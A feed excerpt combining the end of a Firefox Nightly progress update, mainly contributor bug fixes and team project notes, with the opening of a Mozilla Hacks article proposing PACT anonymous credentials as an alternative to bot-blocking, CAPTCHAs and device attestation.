<li>Mathew Hodson</li>
<li>Okhuomon Ajayi</li>
<li>Oluwatobi</li>
<li>ROSHAAN</li>
<li>Sam Johnson</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li> Anthony Mclamb:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027915"> Disable the legacy Edge migrator</a></li>
<li> Amin Amir
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033820">Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs</a></li>
<li>🌟 Amine Zroual:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1392125"> Omitted maxResults property not handled correctly in getRecentlyClosed</a></li>
</ul>
</li>
<li>any1here:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031162"> install_sig_alt_stack incorrectly checks mmap’s return value</a></li>
<li>🌟 Armin Ulrich:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031598"> Fix MessageHandlerRegistry.sys.mjs calling getExistingMessageHandler with an unused second argument</a></li>
<li>japandi
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1628669">Cannot remove amazon.com from top sites list</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1977741">The height of the pinned tabs area should be responsive to the number of pins</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1986020">Use cenum for nsIHelperAppLauncherDialog reason constants to enable better typescript annotations</a></li>
</ul>
</li>
<li>Nathan Johnson [:narjoDev]:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1950995"> Remove browser.display.use_system_colors pref</a></li>
<li>DrSeed
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1962904">Firefox shows vertical tabs in new windows despite “Hide tabs and sidebar” setting</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1968244">The “Expand sidebar on hover” option is not kept after the vertical tabs are disabled and enabled again</a></li>
</ul>
</li>
<li>Keji Bakare:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008756">Split view’s focus-outline is clipped on the right side of left tab</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031116">White space on the right side of left panel in split view</a></li>
</ul>
</li>
<li>🌟 gotyaoi:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1807516"> Reload toolbar button is active on about:newtab</a></li>
<li>Itoro James:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015491"> [A11y][Keyboard Navigation]Cancelling a note via Keyboard Navigation still saves it</a></li>
<li>John Iweh:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1997925"> The notification dot is not displayed if the tab is in a Split View</a></li>
<li>🌟 John Iweh:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027867"> sidebar-shown attribute remains when sidebar.revamp is false</a></li>
<li>🌟 jonathancabera:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2012399">The Move tab to Split View option is also displayed for the tabs that are within the Split View</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016058">A Note with long text (1003 characters) is saved by pressing ENTER even if the “Save” button is disabled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026032">Tab group guide line becomes disconnected under certain conditions related to split views in vertical tab mode</a></li>
</ul>
</li>
<li>Aloys:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2000797"> Remove logic that forces distribution language packs to be reinstalled when upgrading from Firefoxes older than 67</a></li>
<li>liz:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1875083">Create test to ensure maxRenderCountEstimate is never being set to Infinity in virtual-list component in Fx View</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008119">Button accessible name does not convey its function: missing topic context (Settings dialog &gt; Topics dialog &gt; buttons Following/Unfollow/Blocked/Unblock)</a></li>
</ul>
</li>
<li>Mary cathline:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022115"> Tab Group Label does not respect touch density in vertical tab bar</a></li>
<li>🌟 Brandon Lucier:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030631"> Popups opened with window.open give window type normal instead of popup</a></li>
<li>karan68:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1997388"> [dialog] New Shortcut dialog needs a label/accessible name</a></li>
<li>🌟 Vector:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008128"> Button does not programmatically indicate that it opens a dialog (Recent activity section &gt; story card &gt; ••• disclosure &gt; Delete from History button)</a></li>
<li>🌟 Osoble:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1876109"> Update font size and weight for synced tabs device name headers in Firefox View</a></li>
<li>konyhéa:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1873954">Add test for sync admin disabled to browser_syncedtabs_errors_firefoxview.js</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1883497">Check all second paramaters for TestUtils.waitForCondition in Fx View test files</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030069">Recently Closed Tabs, Tabs from Other Devices, and History pages should have Cmd / Ctrl + Click on a link open the link in the new background tab.</a></li>
</ul>
</li>
<li>Noble Chinonso: <a href="http://sidebartreeview.js/">#shouldHandleEvent in SidebarTreeView.js compares event.keyCode to string values, causing Home/End keys to never be handled</a></li>
<li>Pranjali Srivastava:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=944228"> Add a test to verify that the space above tabs is consistent across PB, LWT and sizemode (where appropriate)</a></li>
<li>Okhuomon Ajayi:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2018272">More spacing is needed between the tab note icon and the close icon on the tab</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019561">The tabs in vertical mode collapsed state are positioned differently in Split View</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027060">Keep vertical split view tabs stacked vertically even when the sidebar is expanded when expand on hover is enabled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029684">Vertical split view tabs can be too big or small when tabs are overflowing</a></li>
</ul>
</li>
<li>🌟 Rishan:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030428"> Fix duplicated arrow function in browser_history_sidebar.js</a></li>
<li>Chukwuka Rosemary:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1948019">“Forget About This Site” context menu option missing from Firefox View history</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026574">Long strings are not displayed properly on the about:opentabs page search filed</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028153">Add test for Forget This Site option in Fxview history context menu.</a></li>
</ul>
</li>
<li>ROSHAAN:
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2018276">Tab note background colour is incorrect for default light theme</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1997346"> [win/linux] The splitter between content areas does not match Figma spec</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028927">Fix typo in OpenInTabsUtils.confirmOpenInTabs()</a></li>
</ul>
</li>
<li>Sameeksha:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008197"> Disclosure button expanded/collapsed state not programmatically defined (Customize button)</a></li>
<li>kofoworola shonuyi:
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1999012">Actually hide or remove sidebar-shown attribute when in fullscreen.</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028293">Add a test for checking sidebar-shown attribute in fullscreen mode</a></li>
</ul>
</li>
<li>🌟 Sayd Mateen:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021681"> Page URL is displayed as tab name when page’s contains about:reader?&lt;/a&gt;&lt;/p&gt; &lt;p&gt;</a></li>
</ul>
<ul>
<li>Oluwatobi:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1975391">Unable to delete selected history entries from sidebar</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1993844">Incorrect Sidebar button state/tooltip hover text</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023913">The city name heading level doesn’t follow the correct heading level order</a></li>
</ul>
</li>
<li>Nishchay [:nish]:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031961"> Unable to add tabs to old closed tab groups (tabGroupState.splitViews is undefined)</a></li>
</ul>
<p> </p>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>In preparation for the Project Nova restyling of the about:addons page, we have refactored about:addons into separate per-component ES modules, splitting the monolithic aboutaddons.js and aboutaddons.html into 16 dedicated component files under components/ (with no behavior or UI changes) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032014"> Bug 2032014</a>
<ul>
<li>NOTE: if you have working on patches with changes to about:addons internals it is very likely you’ll need to rebase and solve merge conflicts hit on top of this refactoring, the internals are still largely the same as before but don’t hesitate to reach out to the Addons team if you have doubts / questions or need help to figure out how to adapt your patch of top of these changes</li>
</ul>
</li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Fixed exportFunction to preserve the constructibility of the wrapped function instead of unconditionally making all exported functions implicitly as constructors –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033173"> Bug 2033173</a>
<ul>
<li>Thanks to Gregory Pappas for contributing this improvement to the Content Scripts’ Xray Wrappers helpers!</li>
</ul>
</li>
<li>Fixed a Firefox 151 regression where extension content scripts accessing location.ancestorOrigins caused subsequent page script reads of the same property to fail with “Permission denied”, breaking sites like Gmail –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034329"> Bug 2034329</a>
<ul>
<li>Thanks to Simon Farre for promptly investigating and fixing this recent regression!</li>
</ul>
</li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Updated sessions.getRecentlyClosed() to remove the hardcoded cap when maxResults is omitted –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1392125"> Bug 1392125</a>
<ul>
<li>Shoutout to Amine Zroual for contributing this enhancement to the sessions WebExtensions API!</li>
</ul>
</li>
</ul>
<h4>DevTools</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=750915">Artem Manushenkov</a> fixed an issue where autosuggestion popup was removing overridden indicators from properties in the Inspector (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1983408">#1983408</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446257">Andrea Marchesini [:baku]</a> fix DevTools cookie header serialization for long cookies, which could lead to cookies not being visible in Netmonitor (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031299">#2031299</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> fixed a toolbox crash that was happening we couldn’t find a localization file (e.g. when using a language pack on Nightly) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028930">#2028930</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> improved @container tooltip so it show the value of variables used in style()(<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030239">#2030239</a>), has enough contrast in dark mode (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033782">#2033782</a>) and contains a link to select the container (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031688">#2031688</a>)
<ul>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image3.png"><img alt='Firefox Developer Tools showing a CSS @container style() rule in the Rules panel. A popover for a element displays container properties including "container-name: hello section-container", "container-type: inline-size", and the custom property "--w: 100px", while indicating that --secondary and --plouf are not set. Below, the container query uses nested var() fallbacks, and a CSS declaration previews the resolved value for background-color.' class="aligncenter size-full wp-image-2071" height="532" src="https://blog.nightly.mozilla.org/files/2026/06/image3.png" width="1038"></a></li>
</ul>
</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=656417">Hubert Boma Manilla (:bomsy)</a> is making good progress on migrating the Console to CodeMirror 6 (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032758">#2032758</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026569">#2026569</a>)</li>
</ul>
<h4>Fluent</h4>
<ul>
<li>We’re now at over 72% of our strings being Fluent! Got a component still using .properties? Convert when you can!</li>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image5.png"><img alt="Stacked area chart titled “Are We Fluent Yet?” showing the number and type of localization strings available in Firefox from 2018 to 2026. The chart tracks Fluent strings (green), Properties strings (blue), DTD strings (pink), and a small number of INI strings. Over time, Fluent strings steadily increase while DTD and Properties strings decline. A tooltip at April 26, 2026 shows 10,372 Fluent strings, 3,997 Properties strings, and no remaining DTD or INC strings, illustrating Firefox’s ongoing migration to the Fluent localization system." class="aligncenter size-full wp-image-2073" height="924" src="https://blog.nightly.mozilla.org/files/2026/06/image5.png" width="1509"></a></li>
</ul>
<h4>Migration Improvements</h4>
<ul>
<li>Thanks to dao for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035009">fixing a recent alignment issue in the migration wizard dropdown</a></li>
<li>Thanks to volunteer contributor Anthony Mclamb for his patch that <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027915">disables the legacy EdgeHTML Edge migrator</a>! Once that finishes rolling out, presuming no surprises, we’ll go ahead and remove the migrator entirely.</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>Nova for New Tab has ridden the trains to Beta! It will be enabled by default, globally, when Firefox 151 goes out to release on May 19th
<ul>
<li>It’s possible that we’ll do a train-hop coupled with an experiment to enable HNT Nova for a few clients a bit earlier.</li>
</ul>
</li>
<li>Maxx Crawford<a href="https://bugzil.la/2032213"> enabled Nova designs for New Tab</a>, rolling out the updated layout, widgets, and customization panel behind HNT Nova flags.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2033165"> fixed the Nova content feed to render the intended four‑column layout</a> by correcting CSS grid breakpoints.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2033264"> resolved a first‑load failure in the Weather widget</a> by fixing init order and fetch timing, eliminating the “Oops” error.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2031707"> synchronized the Weather toggle between about:preferences#home and the panel</a> via the shared showWeather pref to prevent desync.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2021460"> updated Nova grid focus order</a> to align tab flow with visual order for keyboard users.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2034620"> fixed critical UI issues in Lists and Timer widgets</a> covering overflow, controls, and layout stability.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2032462"> guarded document.dir access in Nova render paths</a> to avoid startup cache worker errors and improve startup stability.</li>
<li>Rolf<a href="https://bugzil.la/2031568"> added a new normalization method for the inferred interest vector</a> to stabilize topic relevance across sessions.</li>
<li>Rolf<a href="https://bugzil.la/2031569"> prevented unnecessary content refreshes during Pocket New Tab experiments</a>, reducing jank and bandwidth.</li>
<li>Sameeksha<a href="https://bugzil.la/2008197"> defined the Customize button’s expanded/collapsed state programmatically</a> using aria-expanded for better a11y.</li>
<li>liz<a href="https://bugzil.la/2008119"> clarified follow/unfollow/blocked button names with topic context</a> so screen readers announce clear actions.</li>
<li>Vector<a href="https://bugzil.la/2008128"> marked the Delete from History control as opening a dialog</a> via aria-haspopup=dialog for assistive tech.</li>
<li>Scott Downe<a href="https://bugzil.la/2034145"> fixed a regression that flipped the Wallpapers pref off</a>, restoring user selections.</li>
<li>Irene Ni<a href="https://bugzil.la/2033927"> corrected privacy link color and focus styles</a> for contrast and keyboard visibility.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2030873"> added a wallpaper toggle reset in the Nova customization panel</a> so users can quickly restore default wallpapers without extra steps.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2031669"> fixed the Customize pencil button to match the Nova spec</a>, aligning placement and iconography for visual consistency.</li>
<li>Dre<a href="https://bugzil.la/2032607"> updated the ‘Fresh new’ wallpapers copy</a> to a clearer, localized message for better comprehension.</li>
<li>Irene Ni<a href="https://bugzil.la/2033927"> fixed Nova privacy link color and focus styles</a> to meet contrast and focus ring guidelines, improving accessibility on New Tab.</li>
<li>Irene Ni<a href="https://bugzil.la/2034098"> adjusted Sponsored tile character limits</a> to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.</li>
<li>Scott Downe<a href="https://bugzil.la/2034145"> fixed a regression that flipped the Wallpapers user pref to false</a>, restoring wallpapers for affected users and preventing unintended disablement.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2034688"> hooked the wallpaper check into the new toggle logic</a> so the Customization Panel accurately reflects wallpaper availability and state.</li>
<li>Irene Ni<a href="https://bugzil.la/2034912"> landed Nova UI updates for the Daily Briefing 3-pack card</a>, improving spacing, type scale, and tap targets.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2030873"> added a wallpaper toggle reset in the Nova customization panel</a> so users can quickly restore default wallpapers without extra steps.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2031669"> fixed the Customize pencil button to match the Nova spec</a>, aligning placement and iconography for visual consistency.</li>
<li>Dre<a href="https://bugzil.la/2032607"> updated the ‘Fresh new’ wallpapers copy</a> to a clearer, localized message for better comprehension.</li>
<li>Irene Ni<a href="https://bugzil.la/2033927"> fixed Nova privacy link color and focus styles</a> to meet contrast and focus ring guidelines, improving accessibility on New Tab.</li>
<li>Irene Ni<a href="https://bugzil.la/2034098"> adjusted Sponsored tile character limits</a> to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.</li>
<li>Scott Downe<a href="https://bugzil.la/2034145"> fixed a regression that flipped the Wallpapers user pref to false</a>, restoring wallpapers for affected users and preventing unintended disablement.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2034688"> hooked the wallpaper check into the new toggle logic</a> so the Customization Panel accurately reflects wallpaper availability and state.</li>
<li>Irene Ni<a href="https://bugzil.la/2034912"> landed Nova UI updates for the Daily Briefing 3-pack card</a>, improving spacing, type scale, and tap targets.</li>
</ul>
<h4>Search and Urlbar</h4>
<ul>
<li>Marco has fixed a<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034743"> couple</a> of<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1989632"> issues</a> with the places databases to try and improve stability. This should help with avoiding users losing bookmarks or favicons.</li>
<li>Work continues on the new separate search bar to improve the functionality, e.g.<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033231"> allowing middle click</a> to perform a search in a new tab,<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032991"> avoiding performing a</a> search when adding a search engine.</li>
<li>Work also continues on the new Nova layouts.</li>
</ul>
<h4>Smart Window</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032122">uplifted 10 bugs</a> to 150.0.1 dot release addressing initial user feedback from diary study and <a href="https://connect.mozilla.org/">Connect</a>
<ul>
<li>jump to bottom of conversation <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028692">2028692</a></li>
<li>stop streaming button <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029204">2029204</a></li>
<li>back/forward navigation from assistant <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029229">2029229</a></li>
<li>dark mode for various chips <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2024499">2024499</a></li>
</ul>
</li>
<li>search engine switching from smart bar <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021973">2021973</a></li>
<li>Nova styling within smart window <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026794">2026794</a></li>
</ul>
<h4>Storybook/Reusable Components/Acorn Design System</h4>
<ul>
<li>Dustin converted moz-breadcrumb-group variables into JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029181">Bug 2029181 – Convert moz-breadcrumb-group variables into JSON design tokens</a></li>
<li>Dustin converted moz-box-* variables into JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029180">Bug 2029180 – Convert moz-box-* variables into JSON design tokens</a></li>
<li>Dustin converted moz-promo variables to JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029190">Bug 2029190 – Convert moz-promo variables into JSON design tokens</a></li>
<li>Dustin converted moz-reorderable-list variables to JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029191">Bug 2029191 – Convert moz-reorderable-list variables into JSON design tokens</a></li>
<li>Dustin converted moz-visual-picker variables to JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029193">Bug 2029193 – Convert moz-visual-picker-item variables into JSON design tokens</a></li>
<li>Dustin updated browser-shared.css so it passes use-design-tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022985">Bug 2022985 – Update browser-shared.css so it passes use-design-tokens</a></li>
<li>Dustin updated popup.css so it passes use-design-tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022979">Bug 2022979 – Update popup.css so it passes use-design-tokens</a></li>
<li>Jon added opacity tokens and added opacity to use-design-tokens stylelint rule  <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1955325">Bug 1955325 – Create opacity tokens</a></li>
<li>Jon converted toolbar design tokens to JSON <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2017970">Bug 2017970 – Convert toolbar design tokens to json</a></li>
<li>Anna fixed moz-select with panel-list drop-down size inconsistency <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032365">Bug 2032365 – Applications Action drop-down menus sometimes have a different size when opened</a></li>
<li>Anna fixed issue with the disabled state of moz-radio component <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027123">Bug 2027123 – moz-radio disabled state cannot be changed while the moz-radio-group is disabled</a></li>
<li>Anna updated moz-button and moz-box-button components to prevent label corruption when accesskeys are present and the label changes.   <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022326">Bug 2022326 – moz-button with accesskey label becomes corrupted when l10nId updates dynamically</a></li>
</ul>
<h4>UX Fundamentals</h4>
<ul>
<li>The error pages shown when a server sends back an invalid response header or an unsupported content encoding now display accurate, context-specific messages. The invalid response header page also gained a helpful list of next steps. – <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027209">2027209</a></li>
<li>In progress: The error page illustrations are being replaced with new artwork, and the system now supports per-illustration size configuration, giving each image the ability to define its own appropriate dimensions. – <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031837">2031837</a></li>
</ul>
<h4>Settings Redesign</h4>
<ul>
<li>Tim converted settings related to Accessibility page to config-based pane <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1968116">Bug 1968116 – Convert settings related to Accessibility page to config-based settings</a></li>
<li>Benjamin converted Privacy &amp; Security page to the config-based pane <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1968112">Bug 1968112 – Convert settings related to Privacy &amp; Security page to config-based settings</a></li>
<li>Finn integrated Firefox Labs page into setting-pane config <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021047">Bug 2021047 – Integrate Firefox Labs page into setting-pane config</a></li>
<li>Anna converted Firefox Updates section to config-based prefs <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1990961">Bug 1990961 – Convert Firefox Updates section to config-based prefs</a></li>
<li>Mark Kennedy added moz-promo, that is welcoming users to the redesigned settings <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015093">Bug 2015093 – Add a moz-promo to welcome users to the redesign</a>
<ul>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image4.png"><img alt="The Firefox settings page in dark mode showing a notification banner that reads, “Same settings, new look!” The message further explains that the page has been reorganized to make settings easier to scan and explore, while keeping all existing settings unchanged. A “Got it” button appears below the message. The “AI Controls” section is visible underneath the banner." class="aligncenter size-full wp-image-2072" height="559" src="https://blog.nightly.mozilla.org/files/2026/06/image4.png" width="1431"></a></li>
</ul>
</li>
<li>Anna added possibility to search for actions in the redesigned “Applications” section <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020370">Bug 2020370 – It’s no longer possible to search for actions in the new “Applications” section</a></li>
<li>Anna fixed the Settings navbar layout breakage</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hacks.Mozilla.Org: PACT: Anonymous Credentials for the Web]]></title>
<description><![CDATA[This is the technical companion to our update on Distilled, “Keeping the web open and private in the bot era.” Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to solve. 
Bots (and privacy-preserving browsers) not welcome 
Browse a news site...]]></description>
<link>https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:27 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="c43"><em><span class="c11 c1">This is the technical companion to our update on Distilled, </span><span class="c11 c1 c17"><a class="c5" href="https://blog.mozilla.org/en/privacy-security/keeping-the-web-open-and-private-in-the-bot-era/">“Keeping the web open and private in the bot era.”</a></span><span class="c11 c1"> Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to </span><span class="c1 c11">solve</span></em><span class="c13 c11 c1"><em>.</em> </span></p>
<h3 class="c24"><span class="c2 c1">Bots (and privacy-preserving browsers) not welcome </span></h3>
<p class="c40"><span class="c0">Browse a news site in a private window. Shop at a major retailer with a VPN. Visit a video streaming platform with anti-fingerprinting defenses tuned up. You’ll see the same responses: registration walls, block pages, and endless CAPTCHAs. The message is clear: </span><span class="c13 c11 c1">if we think you might be a bot, you’re not welcome</span><span class="c0">. </span></p>
<p class="c53"><span class="c0">Websites have valid reasons for wanting to block bots. Bots enable volumetric abuse</span><span class="c1">, abuse that wouldn’t otherwise be feasible if they had to be carried out by humans</span><span class="c0">. </span><span class="c0"> For example</span><span class="c1">: SEO comment spam, credential stuffing and DDoSing</span><span class="c0">.</span><span class="c0"> Consequently many sites employ dedicated anti-abuse tooling which aims to keep the bots out whilst minimizing friction for human visitors. </span></p>
<p class="c21"><span class="c0">Unfortunately, that tooling is increasingly failing at both tasks. Browser privacy protections are </span><span class="c3 c1"><a class="c5" href="https://blog.mozilla.org/en/firefox/fingerprinting-protections/">dismantling</a></span><span class="c0"> the passive signals that anti-abuse systems depended on to identify and distinguish </span><span class="c0">visitors</span><span class="c0">. Meanwhile advances in generative AI have rendered CAPTCHAs ineffective: bots now solve them </span><span class="c3 c1"><a class="c5" href="https://www.usenix.org/system/files/usenixsecurity23-searles.pdf">faster and more reliably</a></span><span class="c0"> than </span><span class="c0">humans</span><span class="c0">. </span></p>
<p class="c33"><span class="c0">Many sites are switching to more invasive mechanisms and now ask visitors to disclose </span><span class="c1">identifying information</span><span class="c0">,</span><span class="c0"> e.g. an email address, a federated login or </span><span class="c1">disabling their VPN</span><span class="c0">. This means greater friction for users, since providing these details on a first visit takes time. It also compromises their privacy, since these details enable the same kinds of cross-site tracking that browser privacy protections were intended to mitigate. </span></p>
<p class="c38"><span class="c0">This </span><span class="c1">leaves</span><span class="c0"> users </span><span class="c1">with a</span><span class="c0"> dilemma. The more effectively they protect their privacy, the harder it is for websites to distinguish them from bots and the worse the treatment they receive. Website operators are also suffering. The additional friction they inflict upon well-behaved visitors harms their site, but many are willing to pay the costs if it mitigates volumetric abuse. </span></p>
<p class="c44"><span class="c1">Browser-based AI agents make this tension more acute. Sites may want to allow agents which are acting on behalf of individual users while blocking agents engaged in volumetric abuse. However, with no effective mechanisms to distinguish the two, websites are opting to block </span><span class="c17 c1"><a class="c5" href="https://dl.acm.org/doi/epdf/10.1145/3730567.3732913">both</a></span><span class="c0">. That hurts users, who should be free to choose the user agent they use to access the web; it hurts new browsers and agents, which struggle to interoperate; and it hurts sites, which lose legitimate visitors.</span></p>
<p class="c30"><span class="c0">The consequence is that the web gets worse for everyone. Users get more friction or less privacy or both. Website operators see more volumetric abuse and the friction they add drives away users </span><span class="c1">who</span><span class="c0"> would otherwise want to consume their content or services. New user</span><span class="c1"> </span><span class="c0">agents struggle to access the same content as conventional browsers. </span></p>
<h3 class="c12"><span class="c20 c1">The</span><span class="c20 c1"> Costs of </span><span class="c2 c1">Convenient</span><span class="c2 c1"> Solutions</span></h3>
<p class="c9"><span class="c0">Some large ecosystem players have put forward solutions that leverage their control of the dominant operating systems and their deep integration with consumer hardware. These rely on device attestation: identifiers and privileged code baked into devices at the hardware level, which let manufacturers prove what software is running on a user’s device. Exposing this functionality to the web means attesting to sites that the user is running approved software with trusted hardware and therefore isn’t a bot. There have been two substantive proposals.</span></p>
<p class="c9"><span class="c0">Google’s Web Environment Integrity, <a href="https://www.theregister.com/software/2023/11/02/google-abandons-web-environment-integrity-api-proposal/335969">abandoned in 2023</a>, was the blunt version. It attested to the user agent itself, as well as the operating system and device in use. Users would have lost control in two ways: once to the attester, which would decide which operating systems and devices could be blessed, and again to the website, which would decide which software to accept. If sites had adopted allow-lists of approved user agents, building a new browser would have become virtually impossible, and sites could have withdrawn access from any user agent they chose.</span></p>
